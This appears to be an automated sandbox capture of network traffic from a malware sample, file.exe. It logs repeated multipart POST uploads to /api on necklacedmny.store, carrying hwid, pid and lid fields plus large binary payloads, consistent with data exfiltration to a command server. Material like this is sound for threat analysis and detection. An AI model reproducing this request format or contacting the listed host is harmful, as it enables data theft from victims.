2024-10-28 19:50:11 UTC	1369	IN	Data Raw: 4e 43 57 62 4f 36 73 6b 55 55 74 34 36 33 78 2f 78 52 37 35 57 6d 2b 58 4e 78 4d 44 33 43 67 64 48 35 42 46 56 61 50 6b 45 4b 43 33 6f 34 6a 36 66 65 36 46 32 4f 67 68 4c 7a 34 4d 67 57 59 50 6f 68 50 31 45 45 32 57 4a 6f 31 58 56 45 4d 51 59 2b 31 49 6f 7a 51 79 47 7a 78 2f 38 30 58 4c 2f 48 37 71 75 68 34 48 70 55 74 36 68 79 49 55 48 39 58 79 32 34 34 48 6c 30 66 79 61 51 69 6d 74 43 4a 4c 37 75 39 68 56 51 39 34 2f 7a 4d 68 67 78 47 30 58 53 63 51 63 70 49 44 33 43 65 65 33 5a 49 43 45 65 59 39 69 79 43 6e 34 35 30 6b 4f 2f 4c 47 79 33 6a 72 62 4b 48 5a 41 58 59 50 75 55 4d 37 30 77 2f 51 49 78 75 61 51 73 70 55 70 69 38 51 38 2b 41 79 57 7a 6e 37 34 55 58 63 37 50 31 73 72 77 37 42 5a 67 75 37 78 65 50 48 47 59 65 32 57 63 32 58 30 39 48 79 65 34 77 Data Ascii: NCWbO6skUUt463x/xR75Wm+XNxMD3CgdH5BFVaPkEKC3o4j6fe6F2OghLz4MgWYPohP1EE2WJo1XVEMQY+1IozQyGzx/80XL/H7quh4HpUt6hyIUH9Xy244Hl0fyaQimtCJL7u9hVQ94/zMhgxG0XScQcpID3Cee3ZICEeY9iyCn450kO/LGy3jrbKHZAXYPuUM70w/QIxuaQspUpi8Q8+AyWzn74UXc7P1srw7BZgu7xePHGYe2Wc2X09Hye4w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	52228	188.114.97.3	443	4952	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 19:50:12 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
2024-10-28 19:50:12 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 43 32 42 30 41 34 35 38 34 32 37 30 38 34 38 43 43 38 43 38 35 37 42 45 41 31 45 43 43 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5C2B0A4584270848CC8C857BEA1ECC3A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 19:50:13 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 19:50:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c3kr2ngq37ijbnjirk0ajvba76; expires=Fri, 21 Feb 2025 13:36:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lhzojgRLp3cynIQz5jHU2HavUtqGee34a3i5Mj0RuMboPr1T7Yh%2Bt2qylvDmFBubKN9G%2B2a9jz1FLHHrY%2FkOdwEJv9dLPOpxLxYoqEHlxqSuyEwbGPLWSFHBS4rD8kS0M6BJsAA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9d741adc8007e6-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19434&sent=7&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13782&delivery_rate=148948&cwnd=32&unsent_bytes=0&cid=309657c4821319a4&ts=536&x=0"
2024-10-28 19:50:13 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 0d 0a Data Ascii: 11ok 155.94.241.188
2024-10-28 19:50:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	52229	188.114.97.3	443	4952	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 19:50:14 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-10-28 19:50:14 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 43 32 42 30 41 34 35 38 34 32 37 30 38 34 38 43 43 38 43 38 35 37 42 45 41 31 45 43 43 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5C2B0A4584270848CC8C857BEA1ECC3A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 19:50:14 UTC	1020	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 19:50:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cj8apn1ub69gmhbmo9c48a3a8u; expires=Fri, 21 Feb 2025 13:36:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ilIQBcBSCkbfuV%2FGgQ49ETfqIAEGCBHXcWtwafTbR4UsuKgICIqr9ed%2FYjG%2FtHo1Ars11c1qMvlP9rtzSgN4rm1%2FSngYimbG84TIAjWIIQIBzER4M5A691UetXBkg7evlFZ%2Bq7U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9d7422f8fa180f-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=20108&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2844&recv_bytes=16024&delivery_rate=142723&cwnd=32&unsent_bytes=0&cid=b9b1ff91573589cd&ts=496&x=0"
2024-10-28 19:50:14 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 0d 0a Data Ascii: 11ok 155.94.241.188
2024-10-28 19:50:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	52230	188.114.97.3	443	4952	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 19:50:15 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-10-28 19:50:15 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 43 32 42 30 41 34 35 38 34 32 37 30 38 34 38 43 43 38 43 38 35 37 42 45 41 31 45 43 43 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5C2B0A4584270848CC8C857BEA1ECC3A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 19:50:15 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-10-28 19:50:16 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 19:50:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r6lriaidqmkjnle5ig1eqho0cm; expires=Fri, 21 Feb 2025 13:36:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8940d9hFQbAAAUHBt5G0%2BMxP6eXHVTAZloOfD4JAu61iTZw54mrQhBifuXn8dplWmP%2BnS4qqJ1sd83pEtsDnQMnIl9Z%2BTpHv8iqpUimlAqm2TP3weYSdapkAB73vF3d8h7M74gE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9d742bc9d2675f-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=19352&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21536&delivery_rate=152605&cwnd=32&unsent_bytes=0&cid=21bfbe9e61cb8985&ts=704&x=0"
2024-10-28 19:50:16 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 0d 0a Data Ascii: 11ok 155.94.241.188
2024-10-28 19:50:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	52231	188.114.97.3	443	4952	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 19:50:18 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1244 Host: necklacedmny.store
2024-10-28 19:50:18 UTC	1244	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 43 32 42 30 41 34 35 38 34 32 37 30 38 34 38 43 43 38 43 38 35 37 42 45 41 31 45 43 43 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5C2B0A4584270848CC8C857BEA1ECC3A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 19:50:18 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 19:50:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=42vu6198f1p0ffuicu1uu273do; expires=Fri, 21 Feb 2025 13:36:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9g%2BixuvjJ50QXxVF%2BzuozyWig4wjlg2tM6BAnMdNWqtNV7grptS472PjyN5rMWDCADrjmmGh1LziMvD7rPYFG2JWpssqIjDGpaY%2FyMRFKAslH%2BssPAt9QHMTLurMKV6vUkY8RhU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9d743b9c078bba-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18576&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2163&delivery_rate=155281&cwnd=32&unsent_bytes=0&cid=ae5a07c54daae8cf&ts=1310&x=0"
2024-10-28 19:50:18 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 0d 0a Data Ascii: 11ok 155.94.241.188
2024-10-28 19:50:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	52233	188.114.97.3	443	4952	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 19:50:19 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 568408 Host: necklacedmny.store
2024-10-28 19:50:19 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 43 32 42 30 41 34 35 38 34 32 37 30 38 34 38 43 43 38 43 38 35 37 42 45 41 31 45 43 43 33 41 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"5C2B0A4584270848CC8C857BEA1ECC3A--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 19:50:19 UTC	15331	OUT	Data Raw: 44 d2 ac 1c ed 19 19 8e 3f 2f 8b 80 7f 1f 8a 9e 2b 58 e8 2b f0 55 bf ea 31 24 0f e8 d3 17 73 6f 92 af 02 9b 7a fc 02 13 65 cd 5b 66 13 6d 93 e2 a0 f9 16 d0 2d b9 57 ff df 6a c7 04 40 f7 ce 84 06 04 7f ad 54 b2 5b 86 4b 4d 1a 1c a4 04 45 87 61 78 27 e5 9a 1c 03 66 0e a2 b6 ce 34 6c 18 0b 42 b5 8d ec 8b 46 48 34 f8 4c 26 2b 00 37 fb f0 7b 05 c2 40 66 23 41 9c 77 de 28 4d 62 a9 d9 9f 4e 86 50 ff 6c 15 25 40 79 c3 2a 33 fc f9 56 9b 50 40 56 2b 65 6d 52 48 7b b7 81 e3 71 34 a2 63 32 e9 d8 14 ae c7 bd 0c ea 16 c8 f5 b1 e7 03 fe 33 99 0e ee 67 54 cf 9c a6 73 ba 07 23 42 b5 fa 7c 0c 17 37 68 42 17 c6 bf b6 29 0b 48 f9 2f 3e 02 08 08 a3 0c ca b2 92 2e 38 a6 63 73 d5 a1 3c c9 0f 97 80 79 bf 1c 65 bc 71 6b 68 2d e8 9d d5 30 55 14 1c 37 90 19 09 1d 5c 34 64 44 dd d3 Data Ascii: D?/+X+U1$soze[fm-Wj@T[KMEax'f4lBFH4L&+7{@f#Aw(MbNPl%@y*3VP@V+emRH{q4c23gTs#B\|7hB)H/>.8cs<yeqkh-0U7\4dD
2024-10-28 19:50:19 UTC	15331	OUT	Data Raw: 8f 04 4b af ee 95 f4 fa 75 cf 98 0f ee 32 8a d7 fe ae 3a ea 65 b8 b0 8b a4 77 3f c2 6b 02 df 04 41 12 1f 24 c9 23 b8 06 6e 8e 39 ba b1 4f 2f 32 3f f4 48 c6 6d 53 b2 d9 27 5b b7 96 8d c0 87 7f 85 9e 84 bf 9b a4 c5 3c c2 2f cc 3d 10 09 eb a9 c5 f6 13 e8 72 54 87 00 4d f1 e4 5f 6b 10 87 10 c9 de e3 26 7a 4f 42 bb b6 db 22 85 3a 10 f1 7f 7c 25 eb ae 4b 70 6f a2 52 67 51 51 f8 7e 1c f7 c4 37 5b 15 44 3b 53 f8 c4 ed e8 54 75 98 33 37 fa c4 aa 7c 72 22 d8 51 35 11 ed be 0c a3 fc 94 63 a4 b4 bc 61 98 2f cd ed 74 bf 22 37 1b 0f cf e5 a9 43 3e 42 fd 4a a8 af 2e 74 87 4a fa ee 3f 6f 85 74 99 7e 1c 02 e3 12 ef 86 c8 d6 7b 4a 56 a4 e1 9f ab e3 37 92 6e 55 4f 09 a9 c2 e2 e9 64 ad 45 7a d8 3c be 87 7d 0f 43 94 27 da 47 d9 70 2e c0 d8 6f dd ca 36 42 67 2a 09 4d b0 11 6c Data Ascii: Ku2:ew?kA$#n9O/2?HmS'[</=rTM_k&zOB":\|%KpoRgQQ~7[D;STu37\|r"Q5ca/t"7C>BJ.tJ?ot~{JV7nUOdEz<}C'Gp.o6Bg*Ml
2024-10-28 19:50:19 UTC	15331	OUT	Data Raw: 81 bf 8f 89 3c 60 86 75 66 58 ed b0 58 8d bd 4e 90 6a 2a ca c5 b1 52 eb 2e 3f de 50 26 25 e8 fb c2 af f0 43 41 67 55 ea a3 94 84 3b b5 29 d0 d2 4d ca f9 31 6a 45 b4 df 37 69 72 89 d6 f1 1a 19 43 e9 7c e8 af 38 67 5c eb e6 af cd 30 6e 09 2e a0 3d d5 7e 32 ac 2b c0 65 4a f0 9a 49 46 83 8f 23 48 50 db 9a 0f 31 32 78 1e 9e ed 1a df 7e 7b cc 93 77 c1 41 69 73 e5 69 40 44 21 26 66 d4 76 df 6c 6e 61 bb 11 e1 6b b4 20 c9 5d 62 52 1b c8 36 9b 4c 73 7c 02 09 ed b7 b5 b1 f9 da a8 c2 fd 8f 96 84 d6 62 db a4 c3 1e 6f f4 4f da 1b 11 a2 c8 6e ec 89 0a 62 fe f9 53 cc 77 d6 b7 ba 5b ff db d7 30 fc b9 bb ac e7 dd 1b ef 8e f0 c3 a7 58 6a b4 6e 1f 59 12 d8 7f d4 79 7e a8 d1 5b 8c 04 50 29 7b b1 d9 df 4c 0b 17 aa 27 ff 0c 89 8e e0 c2 18 62 57 2f 59 b1 8a c7 bf 5b c0 42 4e 1b Data Ascii: <`ufXXNj*R.?P&%CAgU;)M1jE7irC\|8g\0n.=~2+eJIF#HP12x~{wAisi@D!&fvlnak ]bR6Ls\|boOnbSw[0XjnYy~[P){L'bW/Y[BN
2024-10-28 19:50:19 UTC	15331	OUT	Data Raw: e1 50 1f 33 23 eb 53 f4 47 8a b6 a7 1a c5 2a de 83 b6 e1 a5 97 28 09 2e 24 46 d6 d8 fe ff 45 f8 ff 96 5c 5a 09 b4 44 50 6e 12 0b e3 80 00 27 10 fd 0c 2c 7d 69 eb 7b 6e 31 3e 47 e1 53 20 ab 37 b5 65 e4 0b dc 3f cf 30 34 05 00 a2 81 d8 8e 36 4a 48 31 19 04 3b 6d e7 0e 98 48 25 88 46 e0 ba a3 24 c3 b9 78 d6 99 f8 de a7 56 45 0f 09 8f 04 af 37 90 b9 20 75 6e 1b 61 88 ff 44 c8 fa 63 d8 68 80 75 66 3a 6b 62 b7 ad 50 61 d6 f5 d5 02 83 5c e4 56 6f 14 af b2 b5 ea da 75 b6 15 79 5b bc 59 10 ff 6e 18 d9 07 a9 6c 13 7c 93 13 a9 21 2c 20 8d 26 cf 99 61 54 ad 47 93 6b a7 af c4 8b 6f 8d 9e ce 68 52 8f ba f7 98 79 f7 be dc bf 9c e0 6f 1e d1 9d dd 7a fc e1 72 8a 0e bd ff e8 2e 8b 81 60 ae 35 2c b0 3d 8f 75 5a 7d eb 99 f0 b7 e6 1a d6 08 98 72 66 94 80 39 3d 22 51 2f 86 af Data Ascii: P3#SG*(.$FE\ZDPn',}i{n1>GS 7e?046JH1;mH%F$xVE7 unaDchuf:kbPa\Vouy[Ynl\|!, &aTGkohRyozr.`5,=uZ}rf9="Q/
2024-10-28 19:50:19 UTC	15331	OUT	Data Raw: 0c 3f fe bc be b5 3e 8c 6f 0b 6c 77 bc 99 a0 3b 4d 8f 17 25 90 f3 87 f9 c6 99 d0 76 c9 62 ca 57 33 9a 8f 59 75 ec 72 22 86 b5 57 08 41 95 60 a7 98 af 1e 45 4e 5d c2 b9 37 9e 27 e8 75 59 4e 40 c2 40 13 7c f9 d1 03 cf eb f8 b3 83 6d 32 9f 41 39 aa 64 14 b9 96 b4 bb 19 b3 19 67 4d 3d 75 ee 84 bc 13 65 7f af 5b b8 4f 12 ec 3c bf 88 c3 4f ee 49 6a 31 d6 c7 06 da 6d ba f0 92 17 3d 07 60 3f fe f1 93 31 10 73 72 bb ee 71 11 58 4a 81 e9 6b f2 cb 53 47 c8 fd ad 5b 93 3b f2 84 63 e2 79 e7 5c fa 0f 67 f0 9e 0c 95 51 a8 e8 d3 43 dd 1f c7 2e 4b 5d 09 c6 f3 9a 1e d9 73 41 42 d1 31 32 45 c2 7d b4 b6 e2 e3 0a 13 3f a9 9d 6d e9 b6 f5 46 39 29 64 f7 5e d9 b3 b5 a7 38 60 42 6f 2b e7 29 39 61 fb 4d 3f a8 f5 40 a1 0a 57 fb 13 8a de 42 e2 7b 67 15 41 9f 15 2c ff 03 d7 59 09 8a Data Ascii: ?>olw;M%vbW3Yur"WA`EN]7'uYN@@\|m2A9dgM=ue[O<OIj1m=`?1srqXJkSG[;cy\gQC.K]sAB12E}?mF9)d^8`Bo+)9aM?@WB{gA,Y
2024-10-28 19:50:19 UTC	15331	OUT	Data Raw: 0e b3 7d fb 3a 14 70 93 04 d1 f2 c5 92 8f cd d1 0f d5 56 5b 99 da a6 d2 c4 b9 c6 4f c2 26 e7 28 c6 9f f5 09 92 cf b1 ee 08 a1 c4 24 0f 45 28 b7 89 c1 f5 1b be 86 2b 16 d7 d6 d3 fd 57 7f 8b 85 fc fd 7d bd 2e 38 55 a1 69 01 62 95 9c 4d dc 68 3d 0d 5c 46 c7 12 ee 27 6a b0 67 fb 49 bc e0 84 b0 ec 3d 42 ae f1 5e a2 e7 b2 17 d4 2b 05 f0 9b 5a 13 1d 38 03 0c 9f 0e fa 32 18 a1 b8 f0 6d 32 50 c5 58 62 90 d9 ee 10 37 19 29 a1 4e a9 08 43 a5 d0 f3 81 22 85 e5 1c d1 b1 9e 6b ce fd 22 7c 37 98 6a d5 51 06 5a 13 6a 3b 77 74 f9 df cf c3 a3 ff 93 39 96 6f 88 94 b2 3b 4a 04 15 ec 70 51 0b 2a 7a d4 32 ab 12 73 ab 74 a0 4b 3c 92 20 de bb d1 21 d5 7d 36 ab 3a 3a a8 6c e4 59 0c 31 88 6b f5 67 70 54 ca 4e d7 1f 2e 48 f7 0d 7d d6 14 db a5 37 a1 d0 17 f6 02 9c 69 7c 29 15 14 e5 Data Ascii: }:pV[O&($E(+W}.8UibMh=\F'jgI=B^+Z82m2PXb7)NC"k"\|7jQZj;wt9o;JpQ*z2stK< !}6::lY1kgpTN.H}7i\|)
2024-10-28 19:50:19 UTC	15331	OUT	Data Raw: 56 bf 2a d1 8f 73 6c af d7 00 f5 65 cf 4d 88 e7 27 64 0e b1 a1 05 c3 f8 cd 5b 67 33 11 24 23 a3 48 dd 80 d5 3f f6 37 1a 33 86 b2 91 f8 89 e8 a8 13 fc 95 c5 9d bb f8 37 9a 44 84 8d e8 62 20 9a 0f 0f 92 e7 0c c4 49 c4 ec 5a 38 18 a6 c6 33 6f 09 4c a4 11 3c 1c 22 a5 15 f3 25 89 49 f4 c4 7c 7d 07 9e e7 3e a4 53 83 91 38 b0 1a 0e 89 7d 71 d4 8f 81 b9 4c 81 ff fb 57 f7 2c e2 4b 4a b2 8f e1 bf 01 72 7d 3c 2e 31 a1 6f c4 a4 7e 1d a2 77 c6 73 cb ea 29 91 0f 68 25 6e 00 9a d3 d3 de 3e 2f 68 d0 48 fb f9 2d e7 37 21 b8 ad 0d ea 6c 8f 9c e1 37 9a bb 5a 14 67 a4 1d 73 3b 50 35 13 7d 7b 6a a8 b8 fd c0 c2 8f b8 a2 70 4d 62 46 9d 71 a4 71 1b 4f c3 